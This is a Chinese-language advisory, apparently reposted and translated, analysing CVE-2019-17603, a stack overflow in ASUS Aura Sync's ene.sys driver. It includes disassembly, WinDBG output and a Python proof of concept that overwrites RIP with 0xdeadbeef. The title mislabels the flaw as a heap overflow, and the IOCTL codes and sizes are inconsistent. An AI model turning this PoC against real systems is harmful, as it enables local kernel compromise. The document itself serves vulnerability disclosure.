华硕Aura Sync内核堆溢出漏洞分析( CVE-2019-17603)
2020-06-21 10:40:00 Author: www.4hou.com(查看原文) 阅读量:538 收藏

导语:ASUS Aura Sync版本1.07.71随附的内核驱动程序`ene.sys`在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致在内核级别本地执行任意代码。

0x01:基本信息

 Advisory:               ASUS Aura Sync 1.07.71
                         ene.sys Stack-Based Buffer Overflow
 Advisory ID:            DH-ADV-2019-001
 CVE ID:                 CVE-2019-17603
 Revision:               1.1 
 Last Modified:          2019/10/14 
 Date Reported:          2019/09/08
 Advisory Published:     2020/06/01
 Affected Software:      Asus Aura Sync
 Remotely Exploitable:   No
 Locally Exploitable:    Yes 
 Vendor URL:             https://www.asus.com/

0x02:漏洞描述

ASUS Aura Sync版本1.07.71随附的内核驱动程序ene.sys在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致:

· 本地拒绝服务攻击(由于内核崩溃而导致系统崩溃)

· 在内核级别本地执行任意代码(完整的系统权限控制)

可以通过发送特制的IOCTL请求来触发此问题,对于成功的攻击,不需要特殊的用户权限即可利用此漏洞。

0x03:漏洞分析

该IOCTL调用0x80102044,0x80102050和0x80102054在 ene.sys的内核驱动程序接受用户的输入,它不会得到验证。然后,可以用任意值填充不同的内核寄存器,可以利用它来控制内核执行流程并在内核级别执行任意代码。

逆向ene.sys(Windows 10 64位版本)IOCTL调用 0x80102050:

 [...]
 .text:00000000000111AA             cmp     r11d, 80102050h
 [...]
 .text:000000000001132B             lea     rcx, [rsp+68h+Dst] ; Dst
 .text:0000000000011330             mov     r8, rbx            ; Size <- [1]
 .text:0000000000011333             mov     rdx, rbp           ; Src  <- [2]
 .text:0000000000011336             call    memmove            ; CALL <- [3]
 .text:000000000001133B             movzx   r11d, byte ptr [rsp+68h+Dst+6]
 .text:0000000000011341             sub     r11d, 1
 .text:0000000000011345             jz      short loc_1136D
 [...]

[1]如定义的约定__fastcall所述,将用户控制的缓冲区大小复制到R8寄存器中,并将缓冲区[2]的内容复制到RDX中,而无需任何输入验证。

[3]中的memmove函数使用以下参数调用:

 memmove(RCX, RDX, R8);
          |    |    |
         dst   |    |
              src  len

· RCX (dst):通过控制流定义

· RDX(src):指向用户控制的IOCTL输入数据/缓冲区

· R8 (len):取决于发送缓冲区

利用思路

如果攻击者能够发送大缓冲区(IOCTL 为48个字节0x80102050),则memmove()调用将导致可利用的内存损坏情况。

漏洞利用

步骤1:使用所支持的IOCTL之一ene.sys将可控制的缓冲区移至内核空间地址,并覆盖适当的寄存器并返回地址[4]。

步骤2:向易受攻击的IOCTL发送请求,存储在偏移量末尾的0x30地址将覆盖返回地址,并导致可利用的内存损坏情况(RIP被可控值覆盖)

可利用代码路径的示例:

 .text:0000000000011487             mov     ebx, [rdi+30h]
 [...]
 .text:00000000000114A1             lea     r11, [rsp+68h+var_8]
 .text:00000000000114A6             mov     eax, ebx
 .text:00000000000114A8             mov     rbx, [r11+10h]
 .text:00000000000114AC             mov     rbp, [r11+20h]
 .text:00000000000114B0             mov     rsi, [r11+28h]
 .text:00000000000114B4             mov     rsp, r11
 .text:00000000000114B7             pop     rdi
 .text:00000000000114B8             retn                    ; Trigger <- [4]
 [...]

在WinDBG中(执行漏洞利用之后):

 ene+0x14b8:
 fffff801`198d14b8 c3              ret  t
 00000000`deadbeef ??              ???  r
 rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000
 rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141
 rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002
  r8=0000000000000008  r9=0000000000000065 r10=ffffa981df102e60
 r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000
 r14=ffffa981e5e80d60 r15=ffffa981e2f84920
 iopl=0         nv up ei ng nz na po nc
 cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b          efl=00040286
 00000000`deadbeef ??              ???

[4]用户提供的缓冲区[2]用作memmove 参数,将覆盖相应的寄存器和堆栈地址。结果,堆栈顶部的最后一个地址保存了用户提供的缓冲区的地址[5]。

在此示例中,堆栈中用大写字母“ A”和0xdeadbeef (RIP)填充。拥有RIP寄存器控制权的攻击者可能会破坏整个系统,并在内核级别执行任意代码。

漏洞验证

先决条件- 调试器和Debuggee

· 步骤1:安装ASUS Aura sync版本V1.07.71(Debuggee);

· 步骤2:执行漏洞验证(PoC)(Debuggee);

· 步骤3:将断点设置为:ene+0x14b8(Debugger)

 !process 0 0 python.exe            <- PROCCESSID of the running process 
 ba e1 /p ${PROCCESSID} ene+0x14b8
 g

· 步骤4:按Enter键(Debuggee);调试器在ene+0x14b8按“ t”时停止以执行下一条指令

· 步骤5:RIP被覆盖0xdeadbeef

0x04:漏洞验证(PoC)

 #!/usr/bin/python
 
 from ctypes import *
 import struct
 import sys
 
 kernel32 = windll.kernel32
 ntdll = windll.ntdll
 NULL = 0x00
 
 def run():
     handle = kernel32.CreateFileA("\\\\.\\EneIo", 0xC0000000, 0, None,
                                   0x3, 0, None)
     if not handle or handle == -1:
         sys.exit("[-] Error getting device handle")
 
     shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef
     buf = "A" * 56 + shellcode
 
     raw_input("Press Enter to Trigger Vuln")
     driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),
                                       NULL, NULL, 0, NULL)
     if not driver or driver == -1:
         sys.exit("[-] Error")
 
 if __name__ == "__main__":
     run()

0x05:受影响的产品

此漏洞影响以下产品:

· 华硕Aura Sync <= 1.07.71

该漏洞很可能还会影响使用“ ASUS Aura Sync” 内核驱动程序ene.sys的产品的先前版本和后续版本。

0x06:时间线

· 2019/09/08:首次通过电子邮件([email protected])联络协商;

· 2019/09/12:华硕安全团队回应并要求更多信息;

· 2019/09/12:漏洞最初报告给ASUS Security团队;

· 2019/09/18:华硕安全团队确认该漏洞;

· 2019/10/13:通过MITRE 请求CVE ID; CVE-2019-17603

· 2019/10/15:发送了在Windows 10 x64上运行的更新的PoC ;

· 2020/01/10:收到确认已发布补丁程序的确认(v1.07.79);

0x07:参考资源

· [1]ASUS Aura Sync - https://www.asus.com/campaign/aura/us/download.html

· [2]Microsoft - x64 calling convention - https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019

本文翻译自:https://zer0-day.pw/2020-06/asus-aura-sync-stack-based-buffer-overflow/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/g67D
如有侵权请联系:admin#unsafe.sh